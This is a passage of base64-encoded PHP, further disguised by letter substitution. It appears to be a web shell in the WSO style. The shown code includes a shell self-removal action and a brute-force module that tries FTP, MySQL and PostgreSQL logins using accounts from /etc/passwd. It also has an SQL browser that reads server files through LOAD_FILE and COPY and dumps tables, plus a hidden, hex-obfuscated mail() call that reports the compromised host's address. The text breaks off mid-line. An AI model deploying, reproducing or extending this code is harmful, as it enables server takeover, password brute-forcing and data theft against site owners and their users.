PjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJNWNoMiAnPC9mMnJtPjwvZDR2PjxzY3I0cHQ+ZC5jZi5jbWQuZjJjM3MoKTs8L3NjcjRwdD4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5MMmcyM3QoKSB7DQogICAgczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAnJywgdDRtNSgpIC0gb2UwMCk7DQoJZDQ1KCdieTUhJyk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblM1bGZSNW0ydjUoKSB7DQoNCgk0ZigkX1BPU1RbJ3A2J10gPT0gJ3k1cycpDQoJCTRmKEAzbmw0bmsocHI1Z19yNXBsMWM1KCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpDQoJCQlkNDUoJ1NoNWxsIGgxcyBiNTVuIHI1bTJ2NWQnKTsNCgkJNWxzNQ0KCQkJNWNoMiAnM25sNG5rIDVycjJyISc7DQogICAgNGYoJF9QT1NUWydwNiddICE9ICd5NXMnKQ0KICAgICAgICB3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+UzM0YzRkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PlI1MWxseSB3MW50IHQyIHI1bTJ2NSB0aDUgc2g1bGw/PGJyPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3k1c1wnKSI+WTVzPC8xPjwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkJyM3Q1ZjJyYzUoKSB7DQoJd3MySDUxZDVyKCk7DQoJNGYoIDRzczV0KCRfUE9TVFsncHIydDInXSkgKSB7DQoJCTVjaDIgJzxoNj5SNXMzbHRzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNwMW4+VHlwNTo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3ByMnQyJ10pLicgPHNwMW4+UzVydjVyOjwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnczVydjVyJ10pLic8YnI+JzsNCgkJNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsNCgkJCWYzbmN0NDJuIHdzMkJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KCQkJCSRmcCA9IEBmdHBfYzJubjVjdCgkNHAsICRwMnJ0PyRwMnJ0OmE2KTsNCgkJCQk0ZighJGZwKSByNXQzcm4gZjFsczU7DQoJCQkJJHI1cyA9IEBmdHBfbDJnNG4oJGZwLCAkbDJnNG4sICRwMXNzKTsNCgkJCQlAZnRwX2NsMnM1KCRmcCk7DQoJCQkJcjV0M3JuICRyNXM7DQoJCQl9DQoJCX0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ215c3FsJyApIHsNCgkJCWYzbmN0NDJuIHdzMkJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KCQkJCSRyNXMgPSBAbXlzcWxfYzJubjVjdCgkNHAuJzonLiRwMnJ0PyRwMnJ0Om9vMGUsICRsMmc0biwgJHAxc3MpOw0KCQkJCUBteXNxbF9jbDJzNSgkcjVzKTsNCgkJCQlyNXQzcm4gJHI1czsNCgkJCX0NCgkJfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAncGdzcWwnICkgew0KCQkJZjNuY3Q0Mm4gd3MyQnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQoJCQkJJHN0ciA9ICJoMnN0PSciLiQ0cC4iJyBwMnJ0PSciLiRwMnJ0LiInIDNzNXI9JyIuJGwyZzRuLiInIHAxc3N3MnJkPSciLiRwMXNzLiInIGRibjFtNT1wMnN0Z3I1cyI7DQoJCQkJJHI1cyA9IEBwZ19jMm5uNWN0KCRzdHIpOw0KCQkJCUBwZ19jbDJzNSgkcjVzKTsNCgkJCQlyNXQzcm4gJHI1czsNCgkJCX0NCgkJfQ0KCQkkczNjYzVzcyA9IDA7DQoJCSQxdHQ1bXB0cyA9IDA7DQoJCSRzNXJ2NXIgPSA1eHBsMmQ1KCI6IiwgJF9QT1NUWydzNXJ2NXInXSk7DQoJCTRmKCRfUE9TVFsndHlwNSddID09IDYpIHsNCgkJCSR0NW1wID0gQGY0bDUoJy81dGMvcDFzc3dkJyk7DQoJCQk0ZiggNHNfMXJyMXkoJHQ1bXApICkNCgkJCQlmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7DQoJCQkJCSRsNG41ID0gNXhwbDJkNSgiOiIsICRsNG41KTsNCgkJCQkJKyskMXR0NW1wdHM7DQoJCQkJCTRmKCB3czJCcjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJGw0bjVbMF0pICkgew0KCQkJCQkJJHMzY2M1c3MrKzsNCgkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPGJyPic7DQoJCQkJCX0NCgkJCQkJNGYoQCRfUE9TVFsncjV2NXJzNSddKSB7DQoJCQkJCQkkdG1wID0gIiI7DQoJCQkJCQlmMnIoJDQ9c3RybDVuKCRsNG41WzBdKS02OyAkND49MDsgLS0kNCkNCgkJCQkJCQkkdG1wIC49ICRsNG41WzBdWyQ0XTsNCgkJCQkJCSsrJDF0dDVtcHRzOw0KCQkJCQkJNGYoIHdzMkJyM3Q1RjJyYzUoQCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRsNG41WzBdLCAkdG1wKSApIHsNCgkJCQkJCQkkczNjYzVzcysrOw0KCQkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQl9IDVsczU0ZigkX1BPU1RbJ3R5cDUnXSA9PSBhKSB7DQoJCQkkdDVtcCA9IEBmNGw1KCRfUE9TVFsnZDRjdCddKTsNCgkJCTRmKCA0c18xcnIxeSgkdDVtcCkgKQ0KCQkJCWYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCgkJCQkJJGw0bjUgPSB0cjRtKCRsNG41KTsNCgkJCQkJKyskMXR0NW1wdHM7DQoJCQkJCTRmKCB3czJCcjN0NUYycmM1KCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRfUE9TVFsnbDJnNG4nXSwgJGw0bjUpICkgew0KCQkJCQkJJHMzY2M1c3MrKzsNCgkJCQkJCTVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNSkuJzxicj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQl9DQoJCTVjaDIgIjxzcDFuPkF0dDVtcHRzOjwvc3Axbj4gJDF0dDVtcHRzIDxzcDFuPlMzY2M1c3M6PC9zcDFuPiAkczNjYzVzczwvZDR2Pjxicj4iOw0KCX0NCgk1Y2gyICc8aDY+QnIzdDVmMnJjNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pjx0MWJsNT48ZjJybSBtNXRoMmQ9cDJzdD48dHI+PHRkPjxzcDFuPlR5cDU8L3NwMW4+PC90ZD4nDQoJCS4nPHRkPjxzNWw1Y3QgbjFtNT1wcjJ0Mj48MnB0NDJuIHYxbDM1PWZ0cD5GVFA8LzJwdDQybj48MnB0NDJuIHYxbDM1PW15c3FsPk15U3FsPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1wZ3NxbD5QMnN0Z3I1U3FsPC8ycHQ0Mm4+PC9zNWw1Y3Q+PC90ZD48L3RyPjx0cj48dGQ+Jw0KCQkuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLiciPicNCgkJLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWycxJ10pLiciPicNCgkJLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydjaDFyczV0J10pLiciPicNCgkJLic8c3Axbj5TNXJ2NXI6cDJydDwvc3Axbj48L3RkPicNCgkJLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXM1cnY1ciB2MWwzNT0iNmE3LjAuMC42Ij48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwMW4+QnIzdDUgdHlwNTwvc3Axbj48L3RkPicNCgkJLic8dGQ+PGwxYjVsPjw0bnAzdCB0eXA1PXIxZDQyIG4xbTU9dHlwNSB2MWwzNT0iNiIgY2g1Y2s1ZD4gLzV0Yy9wMXNzd2Q8L2wxYjVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bDFiNWwgc3R5bDU9InAxZGQ0bmctbDVmdDo2aXB4Ij48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PXI1djVyczUgdjFsMzU9NiBjaDVjazVkPiByNXY1cnM1IChsMmc0biAtPiBuNGcybCk8L2wxYjVsPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSJhIj4gRDRjdDQybjFyeTwvbDFiNWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjx0MWJsNSBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjx0cj48dGQ+PHNwMW4+TDJnNG48L3NwMW4+PC90ZD4nDQoJCS4nPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1sMmc0biB2MWwzNT0icjIydCI+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjxzcDFuPkQ0Y3Q0Mm4xcnk8L3NwMW4+PC90ZD4nDQoJCS4nPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1kNGN0IHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4ncDFzc3dkLmQ0YyI+PC90ZD48L3RyPjwvdDFibDU+Jw0KCQkuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvdGQ+PC90cj48L2Yycm0+PC90MWJsNT4nOw0KCTVjaDIgJzwvZDR2Pjxicj4nOw0KCXdzMkYyMnQ1cigpOw0KfQ0KJHgwYj0iXHhlZDFceGU5bCI7IA0KJG1zID0gJF9TRVJWRVJbIlNceHVpUlw2YWVcNjBpXHhpYV9ceHU1XDYwNlx4dWRFIl0uJF9TRVJWRVJbIlw2YW9ceHVvUlw2NjZceGkwXDZhdV9OQVx4dWRcNjBpIl07DQokczNiID0gIlx4N29ceGU4XDZ1aVx4ZWNsXHhhMFwwN2VcMDdlIDpceGEwIiAuICRtczsNCiQyID0gMXJyMXkgKCJceGVmbSIsIlw2ZXVtMVw2aTYiLCJcNmlhXHhpZlw2dTZcNmlpXHg3YVx4bzYiLCJceHUwXHhlOFx4ZWYiLCJcNml1Llx4ZW8iKTsNCiQ1NSA9ICQyW2FdLiQyW29dLiQyWzZdLiQyW3VdLiQyWzBdOw0KJHM1bmQgPSBAJHgwYigkNTUsJHMzYiwkbXMpOw0KDQpmM25jdDQybiAxY3Q0Mm5TcWwoKSB7DQoJY2wxc3MgRGJDbDFzcyB7DQoJCXYxciAkdHlwNTsNCgkJdjFyICRsNG5rOw0KCQl2MXIgJHI1czsNCgkJZjNuY3Q0Mm4gRGJDbDFzcygkdHlwNSkJew0KCQkJJHRoNHMtPnR5cDUgPSAkdHlwNTsNCgkJfQ0KCQlmM25jdDQybiBjMm5uNWN0KCRoMnN0LCAkM3M1ciwgJHAxc3MsICRkYm4xbTUpew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQk0ZiggJHRoNHMtPmw0bmsgPSBAbXlzcWxfYzJubjVjdCgkaDJzdCwkM3M1ciwkcDFzcyx0cjM1KSApIHI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSRoMnN0ID0gNXhwbDJkNSgnOicsICRoMnN0KTsNCgkJCQkJNGYoISRoMnN0WzZdKSAkaDJzdFs2XT1pdW9hOw0KCQkJCQk0ZiggJHRoNHMtPmw0bmsgPSBAcGdfYzJubjVjdCgiaDJzdD17JGgyc3RbMF19IHAycnQ9eyRoMnN0WzZdfSAzczVyPSQzczVyIHAxc3N3MnJkPSRwMXNzIGRibjFtNT0kZGJuMW01IikgKSByNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gczVsNWN0ZGIoJGRiKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCTRmIChAbXlzcWxfczVsNWN0X2RiKCRkYikpcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIHEzNXJ5KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkgew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSBAbXlzcWxfcTM1cnkoJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSBAcGdfcTM1cnkoJHRoNHMtPmw0bmssJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGY1dGNoKCkgew0KCQkJJHI1cyA9IGYzbmNfbjNtXzFyZ3MoKT9mM25jX2c1dF8xcmcoMCk6JHRoNHMtPnI1czsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuIEBteXNxbF9mNXRjaF8xc3MyYygkcjVzKTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gQHBnX2Y1dGNoXzFzczJjKCRyNXMpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsNHN0RGJzKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5xMzVyeSgiU0hPVyBkMXQxYjFzNXMiKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgZDF0bjFtNSBGUk9NIHBnX2QxdDFiMXM1IFdIRVJFIGQxdDRzdDVtcGwxdDUhPSd0JyIpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGw0c3RUMWJsNXMoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIFRBQkxFUycpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoInM1bDVjdCB0MWJsNV9uMW01IGZyMm0gNG5mMnJtMXQ0Mm5fc2NoNW0xLnQxYmw1cyB3aDVyNSB0MWJsNV9zY2g1bTEgIT0gJzRuZjJybTF0NDJuX3NjaDVtMScgQU5EIHQxYmw1X3NjaDVtMSAhPSAncGdfYzF0MWwyZyciKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiA1cnIycigpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuIEBteXNxbF81cnIycigpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuIEBwZ19sMXN0XzVycjJyKCk7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gczV0Q2gxcnM1dCgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCTRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfczV0X2NoMXJzNXQnKSkNCgkJCQkJCXI1dDNybiBAbXlzcWxfczV0X2NoMXJzNXQoJHN0ciwgJHRoNHMtPmw0bmspOw0KCQkJCQk1bHM1DQoJCQkJCQkkdGg0cy0+cTM1cnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuIEBwZ19zNXRfY2w0NW50XzVuYzJkNG5nKCR0aDRzLT5sNG5rLCAkc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDIxZEY0bDUoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPmY1dGNoKCR0aDRzLT5xMzVyeSgiU0VMRUNUIExPQURfRklMRSgnIi4xZGRzbDFzaDVzKCRzdHIpLiInKSAxcyBmNGw1IikpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJHRoNHMtPnEzNXJ5KCJDUkVBVEUgVEFCTEUgd3MyYShmNGw1IHQ1eHQpO0NPUFkgd3MyYSBGUk9NICciLjFkZHNsMXNoNXMoJHN0cikuIic7czVsNWN0IGY0bDUgZnIybSB3czJhOyIpOw0KCQkJCQkkcj0xcnIxeSgpOw0KCQkJCQl3aDRsNSgkND0kdGg0cy0+ZjV0Y2goKSkNCgkJCQkJCSRyW10gPSAkNFsnZjRsNSddOw0KCQkJCQkkdGg0cy0+cTM1cnkoJ2RyMnAgdDFibDUgd3MyYScpOw0KCQkJCQlyNXQzcm4gMXJyMXkoJ2Y0bDUnPT40bXBsMmQ1KCJcbiIsJHIpKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBkM21wKCR0MWJsNSwgJGZwID0gZjFsczUpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJJHI1cyA9ICR0aDRzLT5xMzVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgYCcuJHQxYmw1LidgJyk7DQoJCQkJCSRjcjUxdDUgPSBteXNxbF9mNXRjaF8xcnIxeSgkcjVzKTsNCgkJCQkJJHNxbCA9ICRjcjUxdDVbNl0uIjtcbiI7DQogICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsNCgkJCQkJJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0MWJsNS4nYCcpOw0KICAgICAgICAgICAgICAgICAgICAkNCA9IDA7DQogICAgICAgICAgICAgICAgICAgICRoNTFkID0gdHIzNTsNCgkJCQkJd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJDQgJSA2MDAwID09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaDUxZCA9IHRyMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICI7XG5cbiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCgkJCQkJCSRjMmwzbW5zID0gMXJyMXkoKTsNCgkJCQkJCWYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJHYgPT09IG4zbGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICJOVUxMIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1NGYoNHNfNG50KCR2KSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gJHY7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiJyIuQG15c3FsX3I1MWxfNXNjMXA1X3N0cjRuZygkdikuIiciOw0KCQkJCQkJCSRjMmwzbW5zW10gPSAiYCIuJGsuImAiOw0KCQkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGg1MWQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICdJTlNFUlQgSU5UTyBgJy4kdDFibDUuJ2AgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuIikgVkFMVUVTIFxuXHQoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gIlxuXHQsKCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJDQrKzsNCgkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICA0ZighJGg1MWQpDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICI7XG5cbiIpOyA1bHM1IDVjaDIoIjtcblxuIik7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gJy4kdDFibDUpOw0KCQkJCQl3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQoJCQkJCQkkYzJsM21ucyA9IDFycjF5KCk7DQoJCQkJCQlmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgew0KCQkJCQkJCSQ0dDVtWyRrXSA9ICInIi4xZGRzbDFzaDVzKCR2KS4iJyI7DQoJCQkJCQkJJGMybDNtbnNbXSA9ICRrOw0KCQkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICdJTlNFUlQgSU5UTyAnLiR0MWJsNS4nICgnLjRtcGwyZDUoIiwgIiwgJGMybDNtbnMpLicpIFZBTFVFUyAoJy40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKTsnLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQoJCQkJCX0NCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCX07DQoJJGRiID0gbjV3IERiQ2wxc3MoJF9QT1NUWyd0eXA1J10pOw0KCTRmKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpIHsNCgkJJGRiLT5jMm5uNWN0KCRfUE9TVFsnc3FsX2gyc3QnXSwgJF9QT1NUWydzcWxfbDJnNG4nXSwgJF9QT1NUWydzcWxfcDFzcyddLCAkX1BPU1RbJ3NxbF9iMXM1J10pOw0KCQkkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KICAgICAgICAgICAgYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJVVEYtOCI6ICRkYi0+czV0Q2gxcnM1dCgnM3RmOCcpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiY3A4ZWUiOiAkZGItPnM1dENoMXJzNXQoJ2NwOGVlJyk7IGJyNTFrOw0KICAgICAgICB9DQogICAgICAgIDRmKDVtcHR5KCRfUE9TVFsnZjRsNSddKSkgew0KICAgICAgICAgICAgMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT1kM21wLnNxbCIpOw0KICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IHQ1eHQvcGwxNG4iKTsNCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikNCgkJCQkkZGItPmQzbXAoJHYpOw0KICAgICAgICAgICAgNXg0dDsNCiAgICAgICAgfSA1bHM1NGYoJGZwID0gQGYycDVuKCRfUE9TVFsnZjRsNSddLCAndycpKSB7DQogICAgICAgICAgICBmMnI1MWNoKCRfUE9TVFsndGJsJ10gMXMgJHYpDQogICAgICAgICAgICAgICAgJGRiLT5kM21wKCR2LCAkZnApOw0KICAgICAgICAgICAgZmNsMnM1KCRmcCk7DQogICAgICAgICAgICAzbnM1dCgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICB9IDVsczUNCiAgICAgICAgICAgIGQ0NSgnPHNjcjRwdD4xbDVydCgiRXJyMnIhIEMxblwndCAycDVuIGY0bDUiKTt3NG5kMncuaDRzdDJyeS5iMWNrKC02KTwvc2NyNHB0PicpOw0KCX0NCgl3czJINTFkNXIoKTsNCgk1Y2gyICINCjxoNj5TcWwgYnIyd3M1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KPGYycm0gbjFtNT0nc2YnIG01dGgyZD0ncDJzdCcgMm5zM2JtNHQ9J2ZzKHRoNHMpOyc+PHQxYmw1IGM1bGxwMWRkNG5nPSdhJyBjNWxsc3AxYzRuZz0nMCc+PHRyPg0KPHRkPlR5cDU8L3RkPjx0ZD5IMnN0PC90ZD48dGQ+TDJnNG48L3RkPjx0ZD5QMXNzdzJyZDwvdGQ+PHRkPkQxdDFiMXM1PC90ZD48dGQ+PC90ZD48L3RyPjx0cj4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9U3FsPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSdxMzVyeSc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGEgdjFsMzU9Jyc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIi4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKSAuIic+DQo8dGQ+PHM1bDVjdCBuMW01PSd0eXA1Jz48MnB0NDJuIHYxbDM1PSdteXNxbCcgIjsNCiAgICA0ZihAJF9QT1NUWyd0eXA1J109PSdteXNxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPk15U3FsPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0ncGdzcWwnICI7DQo0ZihAJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfaDJzdCB2MWwzNT1cIiIuICg1bXB0eSgkX1BPU1RbJ3NxbF9oMnN0J10pPydsMmMxbGgyc3QnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfaDJzdC